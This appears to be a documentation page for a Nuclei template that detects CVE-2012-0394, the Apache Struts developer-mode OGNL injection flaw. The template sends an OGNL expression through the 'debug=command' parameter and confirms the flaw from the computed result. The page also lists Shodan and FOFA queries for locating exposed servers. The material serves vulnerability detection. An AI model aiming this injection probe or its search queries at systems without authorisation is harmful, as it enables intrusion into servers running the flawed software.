Apache Struts <2.3.1.1 - Remote Code Execution
ID: CVE-2012-0394
Severity: medium
Author: tess
Tags: cve,cve2012,ognl,injection,edb,apache,struts
Description
Section titled “Description”Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not “a security vulnerability itself.”
YAML Source
Section titled “YAML Source”id: CVE-2012-0394
info: name: Apache Struts <2.3.1.1 - Remote Code Execution author: tess severity: medium description: | Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself." impact: | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server. remediation: | Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches. reference: - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/ - https://www.exploit-db.com/exploits/31434 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394 - http://www.exploit-db.com/exploits/18329 - https://nvd.nist.gov/vuln/detail/CVE-2012-0394 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P cvss-score: 6.8 cve-id: CVE-2012-0394 cwe-id: CWE-94 epss-score: 0.94527 epss-percentile: 0.99071 cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: apache product: struts shodan-query: - html:"Struts Problem Report" - http.title:"struts2 showcase" - http.html:"struts problem report" - http.html:"apache struts" fofa-query: - body="struts problem report" - title="struts2 showcase" - body="apache struts" google-query: intitle:"struts2 showcase" tags: cve,cve2012,ognl,injection,edb,apache,strutsvariables: first: "{{rand_int(1000, 9999)}}" second: "{{rand_int(1000, 9999)}}" result: "{{to_number(first)*to_number(second)}}"
http: - method: GET path: - '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
matchers-condition: and matchers: - type: word words: - '{{result}}'
- type: status status: - 200# digest: 490a0046304402204e86dd04d9c6a284f0b0e3c02fa941bc1cf0e06e7408675244d777244465bc6702203dbc944ea48759f5a1a1dfac7cfc9f8d9903bb09b63482c2a1be78baed6d1363:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-0394.yaml"